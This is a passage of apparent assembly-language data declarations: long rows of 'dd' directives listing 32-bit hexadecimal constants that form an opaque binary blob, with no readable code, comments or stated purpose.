0FDA7DCE5h, 3EBD13BEh, 953E3FF1h dd 73F3104Eh, 648ADDA7h, 684D44CEh, 9A7D8D5Bh, 41D82614h dd 0C4ED4670h, 4C64A02Eh, 6C070180h, 93E8E827h, 7759CED6h dd 711577D0h, 0E5551498h, 1383C366h, 7C0A4D91h, 40AEA76h dd 60A33C47h, 0AAC56D8Ah, 0A31F91BBh, 1CF3C34Bh, 423D7F36h dd 0D89DC759h, 0E37D1AF0h, 0D43EE40Eh, 6F988D56h, 666A4F10h dd 0AC5857E1h, 0AD3727E1h, 31D2CDE7h, 0DFA9A60Dh, 10BC90CAh dd 75914A7Ah, 0B30A7FC4h, 9687CD56h, 0EC0C6A32h, 3BA3A4D3h dd 9A952C9Fh, 88E9891Ah, 5098250h, 24638036h, 80BDB706h dd 0C6297B03h, 0E03345F9h, 35881092h, 2E52BB3Fh, 0B5FDB14Ch dd 0DDDEAF2Eh, 0E303202Ch, 9B7384D1h, 135562F1h, 54673D22h dd 821CC623h, 0E74536B7h, 52F037C8h, 24813360h, 0EDCE3596h dd 2F15A3B4h, 0A855CA3Dh, 491FE4E0h, 0CB33733Bh, 0E06FD97Eh dd 0C718536h, 3AD59C6Ch, 0DC7418A1h, 8AB46A79h, 0B3E8C7B8h dd 3457D411h, 6B2ADA36h, 33A0ECAh, 31B8E979h, 8C7EE17Ah dd 0A6627552h, 0B0118569h, 5158C028h, 0A0379D4h, 0E7862AC3h dd 0DBFD1C55h, 527EEF4h, 96B4F66Eh, 77F7B489h, 0CDC526DCh dd 9F3A9A09h, 7A7B0AD2h, 9B8BB3E3h, 90C7F798h, 0E9D7A419h dd 785D3D61h, 0F7D8C5A9h, 0C8044109h, 97E837D3h, 0AC10E4E6h dd 0DDC9F122h, 59A84ADAh, 62C68D71h, 0C2F71182h, 0BD1FC419h dd 2AA39F6Bh, 4373617Ah, 7FFED7ACh, 5EF718EFh, 0DDA26FEh dd 5ADD7953h, 1E50DCAEh, 13ED9AC6h, 47E4163Fh, 3F743657h dd 0FDEC4E8Dh, 66C8A34Dh, 0B396787Eh, 0A580DBBCh, 0EE4CA224h dd 557C912Fh, 8B1833FDh, 405E0B3Dh, 1FF8A6F9h, 0EA0CA646h dd 0CE891C10h, 57F742D1h, 0C92EDDA6h, 0DACF7DE6h, 4E6F5DA3h dd 0C09E5353h, 13473D9Eh, 0A77FB97Dh, 64E5F1F6h, 5B301F1h dd 0C7C22FC0h, 56155678h, 354828B9h, 6E8D5180h, 0B0B3110Ch dd 6A811525h, 73C22D52h, 76C8D6AFh, 301250DEh, 0A4E2F232h dd 9F887AD3h, 464DA989h, 0CB230CC4h, 0CEA8BE80h, 0A90022E1h dd 723A1A2Dh, 294A548Dh, 0FED0D8F1h, 0B589465Ch, 10A03133h dd 0DC5237EAh, 8F12665Fh, 2CE479C9h, 6827BE36h, 7CD89481h dd 5CC5A1E4h, 0AC57B98Ch, 1352F160h, 469B4EFAh, 8E911BF5h dd 408552A0h, 28DE6EC3h, 1FFF52FBh, 0A6478C5Bh, 3FF612E8h dd 143A868h, 1957AFD3h, 6FDF5DBFh, 0FFA3FCDDh, 0FDB21D9Ah dd 9352EF5Ch, 96083E50h, 0F1F15746h, 81F8C2Ah, 0D522D9B4h dd 8A05B03Ch, 68D1E227h, 14023141h, 5387DFF0h, 11122635h dd 9A3730CCh, 0B663808Eh, 7D4E5A86h, 52A55036h, 7F2E373Bh dd 0C4417544h, 0A34D561Eh, 276B5401h, 5031CB31h, 41F579EFh dd 0E4CF3A4Eh, 0E1EC8648h, 4394DA4Ah, 8F8231BAh, 4EE2040Dh dd 41BBE064h, 4D8E8006h, 21355363h, 8FFDC56Ch, 0FED332AAh dd 1EA47752h, 69B0B1B7h, 3D0711E2h, 42B19BDh, 540D358Fh dd 0F3351FDEh, 0EC81C2C7h, 2B37EF12h, 0D4A84CE5h, 246B9D14h dd 0F365D766h, 11327E22h, 0A6DABBE7h, 3F0580EBh, 77D42067h dd 0EF3BDEFCh, 54182C4h, 0D23E46Dh, 82DF66F1h, 0DB7324A5h dd 4184180Fh, 0FF57259Eh, 226A86EFh, 5831BED5h, 67DC0BCFh dd 8D87B77Dh, 2E93DE8Ch, 28369190h, 0C51A6ED1h, 82A18560h dd 69EC38FBh, 8B4A5FFCh, 7C1858A3h, 878FCABEh, 7B299EF6h dd 0F938CAD6h, 0A7700AE6h, 0B78A271Ch, 6482B109h, 2C7F84D7h dd 16FFE1E2h, 0EB20069Dh, 0E4342ADCh, 6A9180BAh, 1A0ED915h dd 5E4BD5CAh, 0EBB5FB29h, 7360BE68h, 70D9D504h, 0F4BCEE1Eh dd 2D2539DBh, 7484813Bh, 0E0FD31D7h, 0F0130707h, 0B94AA0F6h dd 0B2F9012Ch, 389263E7h, 0A898859Fh, 0FFA8B958h, 0A05D5A35h dd 3E0B7BF7h, 0F661AAE3h, 0DAE597C4h, 47CDF0C5h, 612BF155h dd 0B5DC69D5h, 0B82BE642h, 31EA467Ah, 0A6CB6248h, 612AB579h dd 0C36FF1F2h, 1F2740EFh, 18D5B36Fh, 60D8D49Ah, 0F54A202Ah dd 6FE037A6h, 72FD3FFAh, 5BEA7CAAh, 0E3695377h, 760BB406h dd 0CFF97295h, 1F9B644h, 5A902B08h, 52BBFEE9h, 78CEF0D5h dd 21F52B3Bh, 0EAD94283h, 82C5EDEEh, 38739802h, 0C24DE920h dd 723E9728h, 5976315Fh, 8DF9B0C1h, 36F51DCBh, 0ED6A2223h dd 5804DD69h, 9C684B93h, 6170DA8Dh, 0B3A66FB6h, 5F2729D7h dd 0CD366E2Ch, 9579A4D6h, 0D787987h, 923AE824h, 583173FDh dd 0C06FDDC9h, 0D5109BB7h, 0D713FEEEh, 0E58414AEh, 25AC4F66h dd 6FA9FE5Fh, 3796AF5Fh, 4D7B01B5h, 7F137A5Eh, 440BEA1Bh dd 0CBBFAE0Ch, 3A502EE8h, 0C059B892h, 0D1D7BA6Bh, 0B310748h dd 0F166111Fh, 0BF49773Bh, 0FDBFF618h, 40A7CDA8h, 0E8DC5247h dd 2669EA0Eh, 3D8EB952h, 7CA12D1h, 87DA0121h, 0E266F648h dd 0F48F97A6h, 77E06045h, 9A09176Ah, 0BFA11AA0h, 7271A11Fh dd 0B715356Dh, 255E6F65h, 0B0E66190h, 1A5C9345h, 50AA7E20h dd 4C6711E2h, 31D95EFEh, 0D3FBDE5Eh, 6C7C81D9h, 2AEABEFCh dd 0F680DC28h, 0D60301B3h, 0FE4C8FF4h, 0C12D6214h, 8F18DFC7h dd 0DA173983h, 0B7815587h, 0DA960122h, 487730F6h, 6EDC66D4h dd 0DE6BDAD9h, 0D2525032h, 0D64FD5EAh, 0E8FE57ADh, 0C3A652A2h dd 95189C60h, 26176F6Bh, 0C21B9AA3h, 3570D943h, 0A8482D7Eh dd 0E678014h, 4CAB8BE5h, 76F49DB8h, 98712C32h, 3D857EB8h dd 0C1897F7Ch, 0EC4DB02Eh, 0BB28DB55h, 0DC3B9C38h, 0BFE829D2h dd 0C3FD5C9Eh, 40A3DF5h, 0F1A47B27h, 0C8D4F645h, 0FB703F6Ah dd 58E26414h, 600B7027h, 3BC1CBB3h, 22F033F9h, 0CA245EBCh dd 0B8667761h, 0E576FE4h, 0B41D77E5h, 85F8CD72h, 6BF9C341h dd 141F6243h, 0B4320B1Eh, 0A11D48C5h, 0C1B13827h, 0BDD49465h dd 3FAB959h, 0A1D3002Ah, 2C181588h, 0A6A7CAC0h, 45EFFD47h dd 6357892Ah, 53123D78h, 2FDDA416h, 0AFA79ECh, 9AB9BBAh dd 301CFAFh, 8156DCE9h, 3B75034Ch, 99BB339Fh, 0C35D68E7h dd 0C570B09Fh, 0D151EAEDh, 455CC88Eh, 5EAC0C2h, 8190DAF5h dd 0BC470447h, 8DCDA892h, 55DA50A0h, 7755ED84h, 0D78B6B97h dd 0CAEB42EDh, 0DF869884h, 25A731CEh, 6EC2F070h, 0F1530A4h dd 889CD3C7h, 16666785h, 6A4A8903h, 0DE0F9D9Ah, 0DA18760Ch dd 7422DD4Ch, 21D03296h, 0B632E26Ch, 0A064BFA9h, 3AC61F7Dh dd 1D5A7E17h, 0C9B4968Ch, 7CA3CF90h, 852D1E9Ch, 0A640EC33h dd 9BC0F7B7h, 0CBA7FC55h, 1ACE687Dh, 0A9068FFCh, 2558E14Eh dd 32D20D89h, 0B567982Bh, 8AA8899Bh, 2FCDBE72h, 7D5CE5C5h dd 8D6045B2h, 79D45BC3h, 44C72D4Ch, 270FC3Bh, 0EE45D86Eh dd 0E4298EE7h, 0E1EF43DAh, 4576287Bh, 0D9FB6B3Bh, 0FA12876Ah dd 61DA2335h, 653B0FE1h, 0FA79109Ah, 0B5444F3Ah, 80B97D5Eh dd 0CBAD31BDh, 0E02755EFh, 1CBAE9C0h, 0D29268DDh, 4C90B12Fh dd 0DB252426h, 0BEEB781Dh, 47390BCFh, 52AB4C74h, 0D28EEA08h dd 6120ED97h, 0AAE83069h, 0F8CFAD71h, 3B39B7A2h, 0F7955AA0h dd 5771B140h, 290119C3h, 0A830CE0Ah, 0FB6103B6h, 34425559h dd 91212777h, 0B6973621h, 0F2598779h, 8825DA16h, 6401792Eh dd 0BA153982h, 15F4DA39h dd 8620E4B9h, 62E4956Dh, 3BECAC09h, 4A4D5481h, 82F52EB1h dd 0C691F5Ah, 6F5F8F6Fh, 3EDE7E7Fh, 6467DEB8h, 5A77CC18h dd 5A2959Dh, 52BC0DBBh, 4D61CBE5h, 1248109h, 0F5E4EC98h dd 0B65A20C4h, 8368ED88h, 0B6B7E840h, 85644C39h, 1CDAAE76h dd 7B321A8Fh, 0FD9E3309h, 0A3D088F0h, 6809CB8Ah, 0CE8EA1AAh dd 0AB6E6C9Dh, 0ADB6F137h, 0ADF4B45Dh, 0B0D00B8Fh, 4D10AF8Dh dd 0C954A569h, 0F4EFFE99h, 51743135h, 0E56AB099h, 7661463Fh dd 0C01CF1E2h, 2D3E04C0h, 77D429Fh, 2AB1D064h, 0D038E302h dd 0A76B3BE8h, 6FAA1211h, 6081AE8Ah, 7C11D58Dh, 9B087993h dd 48D942D0h, 976C82E5h, 0CED09907h, 0DF6D2757h, 96124D5Ch dd 10F70547h, 0DC5D0Ch, 0F9E111D4h, 9ED3E45Fh, 0A188EE5Ah dd 0A2F70608h, 741C8E7Fh, 280EE7FCh, 15A246B3h, 7771D46Bh dd 0D53E2383h, 0F9D31C5Ch, 0D80329B5h, 56ADEAE1h, 690924BDh dd 0F2378545h, 9552A7C7h, 0F6ABEC55h, 84A4A0B8h, 366FDF7Dh dd 16FE8180h, 0E8D46CE7h, 60F3235Fh, 661D3A5Ch, 180389h dd 7D9348F6h, 4EDA0428h, 0FC9B94F5h, 92EE724Eh, 1C7E5113h dd 92979E4Bh, 533017E2h, 0B424BD26h, 4B3CFCCh, 1CB89E48h dd 0F23B697Eh, 0AC9CE65Fh, 4810ABC8h, 27673F00h, 1C2FA9E3h dd 36C50A5Eh, 42D94331h, 6EDD3D59h, 0A185D680h, 0AE2077D2h dd 1B982F9h, 10399997h, 812061EDh, 0C04F12B5h, 7F41042Dh dd 0AD2B5F33h, 0D7AA9E32h, 0EE4AF94h, 4338786h, 0C3BD9C60h dd 0B90550BEh, 27A9895Ah, 477BD486h, 9845D3C7h, 12524611h dd 70846FFDh, 13562C7Bh, 0A40343CCh, 457C7794h, 7AEC023Eh dd 6D71ED86h, 22DFAC35h, 3A05023Bh, 6FFDA844h, 466C7487h dd 17FCEF7Bh, 0CE722C9h, 94037777h, 50FEE6B2h, 0CCBFCB73h dd 0EF7D249Ch, 73F644B6h, 0B250ED56h, 0C133E08Dh, 15E108C4h dd 4960747Fh, 43CBEA64h, 0B8FBE43Bh, 0AABF64FBh, 8693E0BCh dd 0C39DDD98h, 26199CCFh, 0A553CBB6h, 539790E1h, 296C4E41h dd 73A651B5h, 4C6223C6h, 9DEF3715h, 0AABD5374h, 4BF86B2Ah dd 0FA333FCBh, 548143DCh, 77B97B5h, 874BF740h, 3F7BDE0h dd 8E94529Ch, 9D965935h, 556FF3C7h, 9BE10DB2h, 0F8FDA3C8h dd 0CFCA5346h, 86DCCCF8h, 436F8EE4h, 257794D1h, 690B720Ch dd 0BAD48E0Ch, 0FFE7A4C5h, 5BD09988h, 0A311C760h, 9EA5AAD8h dd 336B9A32h, 0B77FD6DDh, 3FC6DABEh, 0EE4E4C44h, 0F2913B77h dd 0B05D9C19h, 814D01B8h, 0E2476245h, 3D51AEEBh, 0CB6FE265h dd 507DC206h, 5094C185h, 0B9566ED6h, 857A3512h, 5E2A6C89h dd 4ED97137h, 2523BB22h, 0BE30DAF9h, 0B429A41Fh, 31515C53h dd 7AC07F97h, 0EE7FDCFFh, 3BF4018Dh, 7D7D7Fh, 19CA2062h dd 9C62D25Ch, 0C527AAACh, 423B0307h, 8778D5CEh, 0C49DF2D0h dd 0FD8DC5E9h, 0E769CB72h, 33674641h, 2DD9BF82h, 125DF49Bh dd 0B856D349h, 3607150Ah, 7E4E40BCh, 9FF75F16h, 5ED1E384h dd 0D6211AFh, 40A6F3BEh, 5F1CB63h, 604F75FFh, 603A473Ah dd 0A657BE68h, 5A43343Dh, 0F0DB1831h, 6629EE9Eh, 6F654195h dd 0F4A344E2h, 0E1AC87DAh, 4609B18Fh, 0D47C9586h, 0FBA759C5h dd 0F22E8198h, 0A6A7F406h, 80E7B0A4h, 76092682h, 0A6696917h dd 12F8026h, 8B8A019Eh, 6AC8B81Ah, 3D55ABF5h, 9AFB00AFh dd 773A799Dh, 3818DA0h, 3385B237h, 0D6E25F22h, 0CA6DCB03h dd 0CD49EB15h, 280C4A6h, 98CE2757h, 0F6B6EBDCh, 8D91B114h dd 3C1C6D9Ch, 5B918E83h, 80157BC8h, 0F8AFE39Eh, 0FF9F4470h dd 0B26121FCh, 0EAF1EF75h, 1B4B894Dh, 3EDC0A02h, 15939F83h dd 90297A16h, 0EC7E8912h, 5C47D1Bh, 0D761ECB1h, 51B7D6D7h dd 91726774h, 9EA23736h, 3F3DF7Bh, 0F6E2C6F6h, 2AB1C670h dd 9F90ACDCh, 3F145D32h, 0A12D2218h, 0BF5D4C57h, 78A33E3Dh dd 5F0EADCEh, 0AA7529Fh, 0A52F23E8h, 0B8C9E2DFh, 901D755Bh dd 0D4B4EC14h, 0B0F0454h, 0C263060Ch, 0A41119C5h, 0F338830Dh dd 46F5D1D4h, 0E05BEB26h, 0EEE01062h, 0AA5516DEh, 0C194AB33h dd 916A43CAh, 0ABE68C1Bh, 0E67D3A59h, 24575DF3h, 9C59054Ah dd 0F68611ECh, 6A758304h, 929AFF04h, 77417B70h, 42DD92FCh dd 903D512h, 0EF87888Fh, 65555BC5h, 363C0DFDh, 0CA822FB9h dd 6F586504h, 8A2E9B9Eh, 1574724Ah, 0F8A2C58h, 1274BDCBh dd 0E5A00C50h, 0ED5F9FAh, 0BDB02D37h, 0A5945307h, 0A43A5B8Ch dd 3B05FA9Ch, 0F97502F5h, 2F8494EBh, 188D167Ah, 634F4D05h dd 0C0EEA2h, 183701B5h, 0C86457Dh, 226A9072h, 631FA2FFh dd 0A2A13E0Fh, 0DE79A89Fh, 0D80062E3h, 0C399181Bh, 0EF8F3AA8h dd 59C707E4h, 349221DEh, 789515AFh, 5D427E16h, 0D4B32D33h dd 2992D61Dh, 0BA890936h, 24DC21C1h, 507018C1h, 21341374h dd 21C5AB13h, 724E2FB9h, 0E6A86BA4h, 9F57BC5Eh, 0EF073EAh dd 216B5C43h, 96FC07Bh, 2F94FDE5h, 0D58EFE11h, 79FFC4A1h dd 0E6C42CE9h, 0E124094Eh, 54286F4Bh, 94073097h, 0A848D269h dd 3C12101Eh, 938DDE2Ah, 3F729112h, 36D5354Eh, 0F4754D8Bh dd 20D6D377h, 8BD0E2F5h, 6387992Ch, 0DA736E6Ah, 0B57841CBh dd 20C70F2Ch, 0B96FE9F4h, 0E7C6C8AEh, 0C9A808E0h, 279A4CE8h dd 0C33EF6C9h, 924278Fh, 6D64E178h, 5852A003h, 9D8D207Eh dd 8C1D5F58h, 6915B928h, 4A45DB7Eh, 0FFA64E03h, 0B096001Bh dd 8CBD61D2h, 1A4A25D4h, 2FBBC399h, 7E3E8EF1h, 356B5E20h dd 3568F0AFh, 86BDE17Dh, 2309BA44h, 0BC0E4444h, 0A9E8E0FAh dd 0EAE74803h, 5E0827D3h, 0CA19F2Ch, 0DC4C36AEh, 0B0FBE303h dd 0CEA6BCAEh, 0C360B153h, 0B7FB897Eh, 0D71CDF36h, 0E77EAADDh dd 4D572CBEh, 39C7F7E3h, 288A5D81h, 0BFBBF6C9h, 40DEA6CFh dd 232DEECDh, 8E6ABF11h, 4B5F993Fh, 3F201EA4h, 0D9538F54h dd 0B009BC88h, 3DFB68AFh, 88809C07h, 0CAF9D8BAh, 750F210Ch dd 26AC23A1h, 66C8BC55h, 3AAC8AA4h, 729236C9h, 0FB8226C9h dd 0E6A34FB6h, 0E6373D5Ch, 357F2203h, 0D2F0B230h, 23E2F082h dd 246D8F37h, 8C1CFAF6h, 81322116h, 4543D7D2h, 0B94CAE74h dd 75689FC5h, 0CA8BC51Dh, 0F76C6DC1h, 0E1DCA8CDh, 6615C8AFh dd 57FBF806h, 613D17DEh, 29C139D6h, 7E1D3184h, 74AA97A6h dd 0F0DD33D6h, 0DB25A909h, 0F1D2E8C3h, 0C37B4D14h, 0AE7788A7h dd 0C6D91650h, 0BF969063h, 3BC8FDFCh, 0CC7C78BEh, 67865C55h dd 0C715EF09h, 6E3A132Ah, 312E3FC8h, 468294EAh, 43D1AEh dd 66F89353h, 2435D323h, 0EE4DBA3Ch, 0BD3E0C75h, 0A70E7C24h dd 5F02C51h, 43EB9328h, 0B2B02A41h, 8ED439A3h, 7430219Ch dd 1AE96593h, 3037AFADh, 0F4431E4Ah, 0B1F764DBh, 0BC26DD1Dh dd 0C47C2BEBh, 72418169h, 0AD2E9F06h, 0D392CC79h, 37EE5EADh dd 49211D4Bh, 5D5F12CFh, 0C9E3FCB5h, 1380384h, 0C440306Ch dd 0E673C3A8h, 4FE3037Fh, 8540E748h, 0CBB2E3E1h, 175585E6h dd 0FA60FF72h, 9633D3Ah, 49A248A6h, 0E925E4B3h, 9D10FB34h dd 16533BB0h, 0F2AD7DC6h, 4718C28Ch, 83AAAC99h, 5DED91FAh dd 0DF26ED7Fh, 0DB0A2155h, 706EF78Fh, 0AF536D97h, 0F1126C3h dd 7D14F5F6h, 24D5F91Dh, 498D09CDh, 0EA169A83h, 271F3EDEh dd 8170C075h, 0F28ECB0Ch, 0CB693AD8h, 2F0B58FCh, 21C4A1CAh dd 0C75675C5h, 0E33C090Ch, 0AFF1A65h, 64A1EA1Dh, 0E910C0A7h dd 0B39598E3h, 587ED7ADh, 6ADE4F5Eh, 0C5F78D53h, 35E57FD0h dd 0B432C062h, 0F61312h dd 0AAB4CA59h, 492FF6h, 0B1849E4h, 5DD7647Ah, 1396E143h dd 89AEC00Ch, 5FE5FB17h, 3676E5Eh, 10418FADh, 0C8953A59h dd 7F76283Eh, 336FCD65h, 0F0D61016h, 93B12C93h, 243EED12h dd 0C7051DEDh, 0F6D4A1EFh, 0F734CCE0h, 8B83178Eh, 85216E4Eh dd 9FD3BD43h, 8782BB6Eh, 666AEA68h, 0A232C452h, 51BEFAD2h dd 22FBEEF2h, 0DD359609h, 6BB43FBCh, 6710A683h, 92795A32h dd 90EFCD60h, 0E31AABDh, 0EE4990F0h, 555BD9A7h, 8C0CD29Ah dd 91E80504h, 8CAF9CDEh, 0D576B48Ch, 9376CB0Ch, 14FEFEEFh dd 9DDDA510h, 0B1994FB7h, 30AAD7DAh, 385064F1h, 737C2E3Bh dd 0ED909076h, 9D67664Ch, 5D70ABB6h, 904680Eh, 220AB951h dd 98CC56E3h, 0E47F7BBAh, 0A85A396Fh, 744D7C44h, 0F999781Ah dd 0C0F95D8Ch, 556D7965h, 74DDBA9Ch, 0EF4DFCD1h, 135A5081h dd 0D3032A07h, 7DBC092Fh, 0C5505687h, 363C4FC9h, 3E5F3AE3h dd 2DE6B4E4h, 0C80CD525h, 65C5DBD1h, 0EE1D166Dh, 9671C9A8h dd 9D7B86D1h, 0FA6C680Bh, 3767FBFAh, 269D8E07h, 0E37B9F53h dd 5BDF96E5h, 34018CFDh, 0C9E7BF43h, 0DCFD58ADh, 0FB0BE9CEh dd 0F51733BCh, 0B31CB5E0h, 163A0430h, 6CAB6844h, 8100E61Ch dd 9B47DAFh, 81DCD6A8h, 0B05CCFDEh, 7345B479h, 0CA93FA92h dd 47C478DAh, 0D0B315AFh, 25B7BA37h, 2FF58154h, 48809292h dd 1E163FF2h, 21FACAADh, 0C7A9DF7h, 4FA614A0h, 6E687F60h dd 6F691391h, 47447E09h, 24CFACE9h, 5DDBE925h, 68343F03h dd 285F84F5h, 5D0C9E75h, 80D64941h, 6DDD4BE0h, 2A3FDC68h dd 16C069F6h, 5599EE68h, 31CFC50Eh, 8FBE6252h, 0C03FD872h dd 0FCD63314h, 977846BDh, 3D2D5CA5h, 0B71A7978h, 7FB9B483h dd 0A11F35D1h, 9F433BF7h, 0A2BBAADFh, 0B25B0E81h, 0B67F265Fh dd 0C3476CCh, 0F3C07897h, 0C9F52768h, 0CECCD2DBh, 0F296776Dh dd 99C7738Eh, 352F9FAh, 0AA77EA86h, 0D9430B43h, 45B87CE9h dd 0C40D8A23h, 0AD2FB5E6h, 0A9C57C5Eh, 91E87AFAh, 0E419D02Dh dd 0CE520F2Bh, 7FF4ACE7h, 64C0A6F6h, 1F6F679Bh, 1649DB24h dd 72BABF73h, 9CDE9C57h, 339FC31Eh, 6529BD20h, 2493DC79h dd 9E8B834Bh, 0CD76E96Ch, 44E45E96h, 1F2B8C5Ch, 0EF01F18Dh dd 0AAD3380Ch, 7F2608D7h, 5CCA96AEh, 0E348A3A4h, 419121E8h dd 0DD1F1C7Ah, 0E8D24ED1h, 0F1952C3Bh, 407996E8h, 8D7AB540h dd 0CB649D1Dh, 454746h, 0BF34AB4Eh, 64A27C43h, 0E48611A9h dd 0D32B79Bh, 0A76BE5F4h, 463FBCE8h, 0D5F2333Ch, 0C7AD665Eh dd 0DCC0456h, 1DAEB4D7h, 0CA1A0AE7h, 0FB2E5D56h, 3FA9A54Dh dd 0D5C3B5ABh, 9A506795h, 0E2FDA7C2h, 18406B52h, 3E89E604h dd 0B7148F61h, 0C0687518h, 68C8A894h, 0BAFEDB48h, 0A92DD39Ch dd 0C4B55A83h, 4FA5D658h, 3DD68723h, 2AB430F0h, 388316A6h dd 16B9964Fh, 7F4D008Fh, 0A705A06Eh, 0E5DD1384h, 0EDD5C045h dd 473292E3h, 31724BFCh, 0EE596EE8h, 7CB515F7h, 57AC320Fh dd 0B0B96847h, 76DB128Fh, 382B4717h, 0D1E001Fh, 67088F55h dd 56C848D6h, 8A0E1340h, 0B56044B5h, 18BDF667h, 0FAE9B689h dd 0B41C9B9Bh, 9F331C68h, 18C61295h, 46B6B105h, 85F10BA1h dd 0BA71ADE9h, 1C67407Fh, 84118B9Ah, 0ABFC3381h, 0F6D5D707h dd 0BBA25DF2h, 36D5A78Fh, 9C8E29EAh, 294E92D5h, 7E202B20h dd 0CAC90971h, 0A09E1CADh, 5E6A40A1h, 66F4D69Dh, 0D2E38B50h dd 0A95094E7h, 0D6DBF375h, 0F2CB68BDh, 628295BCh, 33F53130h dd 8A2D7C0h, 0A072BA6Ch, 3B82A8F9h, 17C45BE1h, 5A595C54h dd 86D67109h, 5C305C15h, 5B88BCEh, 0A42C2A7h, 0DB6D1EAEh dd 0B86905F6h, 0B60B9361h, 0BD1CAA77h, 0AEB54560h, 0F6CB9E57h dd 0D78D0D18h, 7DBF7FC9h, 0A59CC052h, 2E5F048h, 61E540D5h dd 3F6A872Dh, 5045148Ch, 9C49549Fh, 0C35D65ABh, 8B01C258h dd 0D7322911h, 99AB8134h, 0F1DA03CFh, 0CC6CD7CAh, 0F2B43EF1h dd 0DAF629BFh, 9B04F955h, 4E8EA3FEh, 508D206Ch, 0ADEC1E62h dd 42C3DF1Ah, 0F4209A74h, 65CDB21Bh, 0E654214Bh, 97F2F0D7h dd 0C6239A44h, 5ADE5F2Eh, 0EFDBAA67h, 6071BA2Dh, 41BD8DB4h dd 9927864Dh, 8F8D2935h, 4C16161Fh, 233E5279h, 4C6EB9A5h dd 99F55AAh, 48BF9720h, 0DFC76850h, 85D0795Fh, 0F7C7536Fh dd 835CB335h, 0B26BFFC0h, 4D72B9D3h, 0E226A721h, 66780F68h dd 9E3BCA55h, 0E65A021h, 1CFDACFAh, 7A51B3C2h, 0F7885089h dd 0E8B186F3h, 8734F3E8h, 0D35EB3Dh, 0E051F111h, 0EA365D0Dh dd 13B5B649h, 85CC933h, 231ED141h, 0F3D26269h, 0BCC2DA47h dd 21D0A202h, 0B9834DA3h, 0BD571535h, 0FBC655A4h, 0C7D09C01h dd 0A3FF1D82h, 5B58DD3Ch, 0D1EFD407h, 606A479Fh, 16F2F44Eh dd 5CA4486Bh, 997880F8h, 0FD47F5D6h, 0E5D7DDC1h, 0B895A7D4h dd 0F63ECF4Bh, 85FDF7AFh, 0F758CA7Dh, 0B48BF214h, 0B504683Eh dd 7F42D9FDh, 0B39D5FC8h, 416D72EAh, 74CE88CFh, 0EFDA4568h dd 0BECED330h, 68E9481Ch, 23AA2EE2h, 9AB43960h, 0D5AF17B4h dd 10501042h, 9F84132Ah, 0B608B290h, 355CC8BAh, 685B4956h dd 7B0AADC5h, 0E7DCEBB0h, 0D0D77BB4h, 14D7A3ACh, 58482E17h dd 57539144h, 133C7249h, 0ED6C3B0Fh, 129983B2h, 0CCF19D74h dd 50FFEDF8h, 0C9CBDC14h, 9CCC4433h, 817D24B9h, 4762D3E8h dd 3DC15338h, 92F060F3h, 4888CC78h, 7F5FB32Fh, 347F06F9h dd 0A7682F88h, 0BECACEBBh, 0E6271CCCh, 0FB547FDFh, 0AB47BB82h dd 9006C60Dh, 5DF7BC74h, 0D62B0297h, 93B7AEA3h, 0AE585D42h dd 0BACF9DB4h, 9B56FD1Bh, 574B80DBh, 0E78B6AFAh, 989D36B2h dd 8F1F6379h, 802BC27Eh, 877D57E6h, 0EF8A8EE0h, 0BEA3FADFh dd 0A35DC2DAh, 0BE45EF3Eh, 6D016DCFh, 43B30C12h, 0F9A17B4Eh dd 0DDFF630Bh, 0A8E10D83h, 0B0833D50h, 0F7DDFBDBh, 235F40A3h dd 9DB96FD1h, 0B3895588h, 0D7B89B1Dh, 0E3E57E2Bh, 2222206h dd 2C26EBE5h, 86ED9357h, 513008EEh, 2F394597h, 0D98442D8h dd 11797158h, 0A72EC6B7h, 9384A804h, 9008BFB2h, 0C0F5F2F8h dd 852334C0h, 0D357FB4h, 0D7E390C6h, 355715EEh, 43723821h dd 5298F8A4h, 0FB42716Ah, 0BC814EAh, 606C7B38h, 9CEE070Dh dd 593B6ED1h, 12FCABDFh, 9597026Ah, 0C9CE5524h, 0CD89567Ch dd 7E1A2B85h, 207E8F4Dh, 481B1010h, 7BFFF88Dh, 9D0108C7h dd 0D8A5048Ch, 0D8F21383h, 0E4E0BBCCh, 6B8996B0h, 34D07B19h dd 0D2F0856h, 946B5485h, 6657DBB0h, 0C54682E4h, 755F40E1h dd 7ED15533h, 7E7DA188h, 0D5BF3D85h, 1F70E5E1h, 0C1564B37h dd 0C0747FC5h, 0DE7AC625h, 6F5221A0h, 50FF265Dh, 0C46D6E9Dh dd 0C5F73DD7h, 728EFF4Eh, 4FAD8E40h, 9342EDCBh, 0A6357335h dd 4681FC63h, 0AF38CAFBh, 0D917CF1Ah, 0CE0E5EF6h, 57F8283Eh dd 6B30D52Fh, 0DD024D21h, 8A6FAE20h, 0D0340FA8h, 724A8725h dd 996254ADh, 92E27CA5h, 0A8CDDB87h, 0DF7EDEB4h, 7702AB90h dd 0A3BC7C0Bh, 0FE5B0CB7h, 603A1561h, 0D6E354E6h, 0C87F7E7h dd 7E12296h, 870E41E6h, 0DDD238D8h, 4979967Fh, 0F80941Eh dd 9B8F1DFAh, 0E851C279h, 0BB7B83F9h, 0A13337F0h, 0D3853ED1h dd 3CAD1894h, 67B22C78h, 0F880B375h, 5E63D1E8h, 3AF07B82h dd 0A3C05893h, 42AF92D0h, 59CA2BCBh, 61B3335Bh, 79068F1Bh dd 0C72EB7C5h, 517C0D27h, 6EF5E161h, 0E5A2BDA3h, 63003968h dd 90EEFFBh, 0FCBC667Eh, 0D75BB1EAh, 69AAB46Eh, 0C7B47064h dd 0F802C940h, 6B5E7A9Ah dd 635159D2h, 44A4D924h, 19A24AE7h, 0DF34FAABh, 62D8F719h dd 5A53021Bh, 1DE06B9Ah, 910A8211h, 0A58E4824h, 0E648969Ch dd 8075D9AAh, 0FD16092Ah, 80459EBAh, 0D3053063h, 0A962BD9Ah dd 1E2AD42Fh, 108FE72Eh, 0DFDDA0BFh, 454412F6h, 9DE946A8h dd 0DD1BE63Fh, 0C0FA1E19h, 3A3973F4h, 578E2257h, 1B3A5C60h dd 0A889C6E3h, 0E6E8CE72h, 9D15F81Eh, 0E3BD168Eh, 0E052331Ch dd 95EAB791h, 362F11DDh, 0A2315A05h, 720333F4h, 40453F03h dd 0ECC6E88Dh, 80C32201h, 82FDED1Dh, 0F575677Eh, 649B0BB0h dd 8DEABEEDh, 0A9D32FB4h, 16CBCD5Dh, 4DF36C59h, 9ABF0B66h dd 91FE59B5h, 8D40B8F0h, 2915A417h, 47D2465h, 0FA00663h dd 0D2D3184Eh, 1037B336h, 667F3E50h, 0C9BA7168h, 940F89E7h dd 8243FD61h, 0F072C53Eh, 30AB7D2Ah, 592F9F1Dh, 2CFA12A5h dd 0B2895C8Ah, 0BF082A22h, 52D0D456h, 2A3CC596h, 16FB0233h 